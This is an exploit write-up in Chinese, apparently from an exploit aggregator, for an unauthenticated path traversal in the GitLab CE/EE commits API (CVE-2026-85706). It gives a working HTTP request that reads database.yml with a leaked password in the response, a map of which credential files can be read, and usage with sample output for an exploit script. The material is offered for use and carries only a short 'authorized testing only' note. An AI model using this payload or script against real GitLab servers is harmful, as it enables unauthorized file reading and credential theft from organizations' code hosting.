## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MHTSEC-CVE-2026-85706
# CVE-2026-85706:GitLab CE/EE 未授权路径遍历
* **CVE** :CVE-2026-85706,CVSS 3.1 **10.0** (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
* **组件** :GitLab CE/EE Repository Commits API(Workhorse body-upload 变体)
* **影响** :18.7 ≤ version < 19.1.8、19.2.0–19.2.5、19.3.0–19.3.1
* **修复** :19.1.8 / 19.2.6 / 19.3.2(2026-09-10 关键补丁发布)
* **危害** :**无需任何账号** 路径遍历读取服务器上的任意本地文件;内容能否回显取决于目标文件,构成四态 oracle(见「回显边界」)
## 漏洞链路
GitLab 的「创建 commit」API(`POST /api/v4/projects/:id/repository/commits`)允许单次请求携带大量文件内容。为避免超大请求体直接进入 Rails 解析,Workhorse 会先把请求体落盘为临时文件,再把 `file.path` / `file.size` 等元数据注入转发请求,Rails 端点按这些参数读回文件。漏洞链路由四个环节叠加:
1. **认证在文件读取之后** :`post ':id/repository/commits'` 入口只有 `require_gitlab_workhorse!`(仅校验"经 Workhorse 转发"),真正的 `authenticate!` 藏在后面的 `authorize_push_to_branch!` 里,而路径遍历读取发生在它之前。
2. **落盘元数据取自请求参数** :`file_params_from_body_upload` 直接把请求参数 `file.path` / `file.size` / `Content-Type` 当作 Workhorse 注入的元数据,不区分参数来源,`File.read(file_path)` 即可遍历任意本地路径。
3. **Rack 解析错误回显** :`Content-Type=application/x-www-form-urlencoded` 时,文件内容交给 `Rack::Utils.parse_nested_query` 解析;内容中的非法 %-序列触发 `ArgumentError: invalid %-encoding (<组件内容>)`,经 `bad_request!` 原样回显进 400 响应。回显先到先得:`&` / `=` 是组件边界,解析在第一个非法 `%` 所在组件处中断并回显该组件,无分隔符时整个文件作为一个组件整体回显(合法的 `%xx` 十六进制转义不触发错误)。
4. **尾部斜杠绕过 Workhorse 改写** :直接打主端点会命中 Workhorse 的 body-upload 拦截(严格匹配 `.../repository/commits\z`),伪造参数被吞进落盘文件内容。URL 末尾加 `/` 即不匹配该规则,落入兜底的签名反向代理——原始请求体连同伪造参数原样转发给 Rails 且携带有效 JWT,`require_gitlab_workhorse!` 通过;Grape 归一化尾斜杠后仍命中漏洞 handler。
前置条件:URL 中 `:id` 必须是真实存在的项目(任意公开项目即可),全程无需登录。
**利用请求** (外置 DB 部署下的 `database.yml`,密码含非法 `%` 序列时整段回显):
root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded
**响应** (首个非法 `%` 所在组件整段回显):
root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n adapter: postgresql\n username: gitlab\n password: \"P@ss%w0rd\" ...)"}
## 回显边界(四态 oracle)
读取以 Puma 进程的 `git` 用户身份执行,响应构成一个四态 oracle:
**默认部署下的实际可读范围** (实测):
* 内容读取的主战场是天然含 `%` 的文件:**CI 构建日志与产物、用户上传附件、外置 DB 部署的`database.yml`**。`database.yml` 在默认本地 socket peer 认证下密码字段为空,仅外置 DB 部署才有值。
* `gitlab.yml`:渲染后的模板注释在文件头部(约第 19 行)就存在 `95%`、`%{key}` 等序列,而凭据配置(incoming_email、LDAP、对象存储等)都在 170 行之后——先到先得意味着**默认部署下只能回显头部段,凭据段读不出** ;仅在无干扰序列的部署变体(自定义模板等)中可读。另注意 SMTP 密码(`gitlab_rails['smtp_password']`)不渲染进 `gitlab.yml`,实际渲染进去的是 incoming_email、LDAP、object_store 凭据。
* `secrets.yml` 为纯 hex 不含 `%`,读不出内容(401);`gitlab.rb`、TLS 私钥、备份归档为 root-only(仅 500 oracle)。
* 四态 oracle 本身也是侦察原语:探测内部路径结构、`/proc/self/*` 进程自窥、按项目 ID 换算 `@hashed` 路径探测私有项目存在性。
## 脚本用法
Python 3 标准库实现,无第三方依赖。脚本按上表自动判读四态结果。
root@kitploit:~
python3 exploit.py -t http://<target>:<port> # 默认读 gitlab.yml(快速验证回显)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
示例输出(默认部署读 `gitlab.yml`——回显的是头部段而非凭据段):
root@kitploit:~
============================================================
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------
> 仅用于授权安全测试与漏洞研究。